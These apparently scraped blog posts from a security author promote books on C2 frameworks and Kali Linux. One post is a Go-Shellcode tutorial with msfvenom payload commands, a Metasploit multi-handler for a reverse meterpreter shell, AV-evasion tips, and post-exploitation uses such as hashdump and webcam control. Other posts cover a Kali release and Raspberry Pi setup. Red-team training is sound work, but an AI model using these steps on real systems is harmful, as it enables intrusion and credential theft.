In the ever-evolving landscape of cybersecurity, proficiency in Command and Control (C2) frameworks is not just advantageous – it’s essential. Introducing “Mastering Command & Control,” a comprehensive guide created for security students and professionals looking to increase their knowledge of C2 platforms.
Dive deep into the world of red teaming and penetration testing as you embark on a journey through the industry’s most potent C2 frameworks. From Sliver and Empire to the depths of the renowned Metasploit framework, and more, this book is your path to mastery!
C2’s Covered:
Villain
Havoc C2
Sliver
Empire & StarKiller
Covenant
Silent Tritiny
PoshC2
Metasploit
With an overview of Merlin, Mythic, Cobalt Strike and Caldera!
You’ll navigate the installation and utilization of each framework, learning quickly with hands on tutorials utilizing the Kali Linux platform. Gain invaluable insights into obtaining remote shells, executing commands on target systems, and exploring similar modules on each framework. With a focus on practicality, each chapter equips you with the skills and knowledge needed to navigate the complex terrain of command and control with confidence.
Whether you’re a novice seeking to lay a solid foundation or a seasoned practitioner aiming to broaden your expertise, “Mastering Command & Control” is your definitive companion.
I wrote this guide as so many students were struggling with learning C2s. Also, many professionals in the field were looking for something to get them up to speed quick on C2 platforms. Thus, this book was born. I try to use similar commands, modules and techniques across each one. That way the reader can gain familiarity rapidly with each. Using the step by step, learn by doing process that my readers have enjoyed for years.
C2 platforms are so critical and more so now with the huge explosion of Artificial Intelligence. Though the current C2’s aren’t dependent on AI, they soon will be. Make no doubt about it, C2s and AI ARE the future of security. The more you are familiar with them, know how to use them, the better prepared you will be for the future!
“Mastering Command and Control – Exploring C2 Frameworks with Kali Linux”, available now on Amazon.com!
Go-Shellcode is a great collection of shellcode runners and utilities, written by Ne0nd0g, the creator of the Merlin C2. Go-Shellcode is nice, because it allows you to run exploit shellcode in Go, using various API call techniques. It’s fast, works great against Anti-Virus, and allows you to use any hex encoded shellcode as a payload, especially ones created with MSFvenom.
Make sure you have Go installed on your Kali system, and then just enter:
Once installed, you know have multiple ways to create shellcode. Navigate to the ‘go-shellcode/cmd’ directory, and you will see a list of shellcode delivery techniques, one per folder. Pick one of the techniques – see the tool GitHub page for descriptions for each one.
Then just modify the main.go file in the corresponding subdirectory, inserting the shellcode that you want to run. Each technique comes default with a “Pop Calculator” shellcode string.
As seen below:
Of course, you don’t have to stick with the Popup Calculator shellcode – though I highly recommend using that on your first attempt. You can use any hex Shellcode that you want, using the following procedure.
Create your shellcode with MsfVenom, using a filetype (-f) of “hex”.
Copy and paste it into the code, replacing the existing shellcode DecodeString number string.
Next build the Go file using the instructions for the individual technique, listed on the GitHub page. When finished, a Windows .exe file will appear in the main directory.
If it is a remote shell, just make sure you have Metasploit multi-handler running to catch the call back.
Finally, copy the shellcode file to the target and run it.
The code layout is very nice, it makes it very easy to pick the API technique you want, then just generate your desired shellcode and drop it in.
The EarlyBird gets the Shell
Let’s run through one of the techniques together. We will use the latest one, Go-Shellcode EarlyBird. To try it out with the default “pop calculator” shellcode, just enter the following from the main “go-shellcode” directory.
This will create the file, “popcalc” in the go-shellcode directory. Just copy this file to our Windows server target and run it. Windows calculator will open – You have successfully exploited a system with the dreaded calculator exploit! If you have never heard about “Popping Calc”, it is a fairly popular pentester joke.
Alright, let’s use a different shellcode. It would be nice to pop up a messagebox on the target instead of a calculator. We can do this easily with Msfvenom and the messagebox payload.
First, generate the hex payload:
In a Kali Linux Terminal, enter, “msfvenom -p windows/x64/messagebox -f hex”
Use your favorite editor to open the main.go file in the EarlyBird directory. Then just copy and paste the hex code into the main.go program, replacing the existing popcalc hex code. Copy the entire HEX code, and paste it over (replacing) the existing HEX shellcode string.
As indicated below:
// Pop Calc Shellcode (x64)
shellcode, errShellcode := hex.DecodeString(“[Place New Hex String HERE]”)
Copy the new Message.exe file to the Windows target and run it.
Proof of exploit – Nice! Okay, that is a pretty generic message, let’s see if we can improve on it. Let’s take a look at the ‘messagebox’ payload.
Open another terminal and start Metasploit (msfconsole)
Type “info windows/x64/messagebox”
Here we see information about the payload, including the Text and Title. This info is pretty generic, so let’s change it. We can set the options on the fly when we generate the payload with msfvenom.
msfvenom -p windows/x64/messagebox TEXT=”Something Evil this Way Comes” TITLE=”HackerBox” -f hex
We set the TEXT and TITLE variables right from the msfvenom command. Let’s see if it worked!
Copy and paste the new shellcode into the main.go program
Generate the code, call it “Messagebox2.exe”
Run it on our Windows target:
Very nice! In some Pentest or Red Team engagements, you just need proof of compromise, so this might work nicely. Let’s take it a step further and use the Go program to create a Meterpreter remote shell.
First, we need to generate the shellcode with msfvenom. Let’s try a different reverse shell, just to change things up a little, “reverse_winhttp”.
Before we run it, we need to start a Multi-handler in Metasploit to catch and respond to the call out.
In Metasploit:
use multi/handler
set payload windows/x64/meterpreter/reverse_winhttp
set LHOST [Kali_IP]
exploit -j
Now copy the winhttp.exe file to your Windows target and run it and we get a remote shell!
Type, “help” to see available meterpreter commands. We can upload or download files, even grab a screenshot or control the webcam. If the remote user is an administer, we can run the meterpreter command, “Hashdump” to grab the user password hashes.
“Screenshare” is a newer Meterpreter command. Running this opens a browser on Kali and forces the remote system to live stream the desktop to the Kali system!
I use Go-Shellcode EarlyBird a lot, it is one of my favorite shells. Remember too, EarlyBird is just one of the APIs that you can use, Go-Shellcode has several! Very recently, AV is catching the staged meterpreter shell even using EarlyBird. What is being caught though, is when the stager calls back to Metasploit and downloads the second part of the shell – the solution? Just use the stageless Meterpreter (windows/x64/meterpreter_reverse_tcp) payload shell! It’s extremely long, but works great in Early Bird!
I’ll leave this up to the reader to try, but this is the multi-handler to catch it:
Want to learn more about how to use Go coding in offensive security? I highly recommend the following two books:
“Security with Go” by John Daneil Leon
“Black Hat Go” by Tom Steele, Chris Patten, and Dan Kottmann
Both books are exceptional and walk you through custom coding many security tools. If you are newer to coding with Go, I recommend starting with “Security with Go”. I think the examples are much easier to follow.
The majority of this article is a direct adaptation of a Chapter from one of my latest books. If you liked this article, and want to learn a lot more about the Techniques, Tactics and Procedures (TTPs) that hackers use, in a step-by-step lab environment – then check out my new book:
The latest version of Kali Linux 2020.4 dropped this week. Let’s take a quick look!
At first glance it seems like mostly visual changes – Love it or hate it, they switched to the ZSH shell by default. If you are not used to it, it is a little disorientating at first, but you get used to it quick.
Kali is now using Metasploit Framework 6 which has some nice updates that I really like. I did a demo of the MSF 6 Docker to Host bypass demo a while back for my Instagram followers. It is called the “Docker_Priveleged_Container_escape” and works great!
Escaping a privileged Ubuntu Docker container back to the Kali Linux Host
As mentioned, the default shell is now ZSH. I was not a fan of ZSH, but it is growing on me. It also kind of makes Kali look more like Parrot OS, but I won’t say that in public, lol.
chsh -s /bin/bash or chsh -s /bin/zsh and a reboot allows you to change between the two shells, but bash has also been modified to look the same, though it does act differently.
You can check which shell is active by using echo $0
If you haven’t noticed in the previous versions, some tools that you may have normally used have been removed (like BeEF) from the default VMWare image and are now part of the “Large” install package. You can still apt install any of the missing tools that you need.
Oh and apt update works again in this version! There was a typo in several of the Kali 2020.3 version sources file that caused an error on update.
Always happy to get a new Kali version, and looking forward to Kali 2021! For more information on all the new Kali 2020.4 features, check out the official release post!
This is a partial sample chapter from my latest “Security Testing with Raspberry Pi” book – The full chapter (chapter 4) is over 20 pages long and includes how to use several of the installed Kali Linux tools.
In this chapter we
will cover installing Kali Linux on a Raspberry Pi 3b+. We will also see how to
run several Kali tools on this platform. As I assume the reader has used Kali
Linux before, the goal is to show how to get up and running quickly on a
Raspberry Pi, not necessarily to show how to run each individual tool. Most of
the tools work just like they would in a full PC install of Kali. Though some
of the tools, like Hashcat, apparently don’t have ARM compatible binaries and
are not included in the Kali Pi version.
Navigate to the
Kali ARM images and then select the Raspberry Pi branch. Download the version of
Raspberry Pi for the Pi that you have. I used a Pi3b+ for this chapter, so I
downloaded the Kali Linux Raspberry Pi 3 64-bit image. If you have a Pi 4,
you must download the Pi 4 version of Kali.
Once the image is downloaded, all you need to do
is write it you your SD Ram card.
Etcher works great:
Insert your memory
card into the Pi, attach keyboard, mouse, network line, and video cable.
Lastly, plug in the power cord. The Pi will boot up and give you a graphical
login screen.
Login with User: root, Password: toor
At the “Welcome to
the first start of the panel” message, click on “Use default config”. You will then be presented with the Kali
Desktop. Take a second and familiarize yourself with it. You will notice it is
slightly different looking than the regular Kali Desktop, as it is using a
different desktop environment. Xfce is used as the default Pi interface as it
is a lightweight and fast desktop. But it is the same Kali underneath that you know
and love.
Click the “Applications”
button to see the tools menu. They are pretty sparse at the moment; we will fix
that soon. There are a couple house keeping things we need to do first.
The first thing we will want to do is regenerate
the SSH security keys.
Open a Terminal
cd /etc/ssh/
mkdir default_keys
mv ssh_host_* default_keys/
dpkg-reconfigure openssh-server
In a couple seconds
we should have new SSH security keys.
In the current
version of Kali for the Pi, root login is permitted by default. This is fine
for our lab, but this is something you would want to change in “/etc/ssh/sshd_config” if you were going
to use this for regular purposes. You will also want to change the root
password using the “passwd” command.
The SSH server is
already started by default in the Kali Pi install, so all we need is the IP
address of Kali. If you are an old time Linux user like me you will probably
still use Ifconfig, the old “deprecated” commands are easier to use and look
nicer in my opinion, (have to love change, lol) though you are supposed to use
the “ip” command now.
Enter, “ip a” to see all the network
addresses or “ip -4 a” to only see the ip 4 address.
Now you can just SSH or use Putty like we
did in the previous chapter to connect remotely to the Kali system.
The Kali-Pi image
comes pre-installed with some tools already installed. They were called the
“top 10” in an earlier release of Kali and include Metasploit, nmap, Recon-NG, etc. The rest of the Kali tools can be downloaded
via Kali “Metapackages”. Metapackages are security tool packages
grouped by function. If you have a 16 GB or greater SDRam card, and a lot of
patience, you can install the full Kali Linux install. If you didn’t need all
of these tools, you could install just the Wireless tools (kali-linux-wireless)
or the Web Application Assessment tools (kali-linux-web), depending on your
needs.
All the available Metapackages are listed
on the Kali Metapackages website:
Installation is
simple, in a terminal just enter, “apt install” along with the
metapackage that you want. You basically have 2 options; you can install the
full package or individual tool packages. The only drawback to option 2 is that
some of the necessary “helper” tools may not be installed and you may need to
install them manually.
Option
1
If you want the
full Kali install:
apt install kali-linux-full
This
includes all the tools from a normal Kali Linux install. This will take a very
long time to install, so be patient.
Option
2
If you want to
install a specific category of tools:
Depending on what
you want to do with your Kali install, a good choice is the Wireless tools. The
wireless package includes numerous tools including ones for Wi-Fi, Bluetooth
& SDR. You can see what packages are included by using the following
command:
apt-cache show kali-linux-wireless |grep Depends
If these are the
tools that you want, then proceed with the install:
apt install kali-linux-wireless
Whichever option you pick, the new tools will
show up in the Kali menu after the install:
Either install
option seems to take hours, be patient, and reboot when it is finished.
The downloaded tools are the SAME tools that you would receive on the regular Kali install. These aren’t watered down versions or anything like that. I have run into a couple tools that didn’t work, or seemed to be missing, but it is a rare occurrence. If it works in the regular Kali install, chances are you can do the same thing, the same way, in the Raspberry Pi version. So, after that long install, let’s play!
If you liked this sample and want to learn a lot more about using the Raspberry Pi for Ethical Hacking, check out my new book, “Security Testing with Raspberry Pi“!
CYBER ARMS - Computer Security 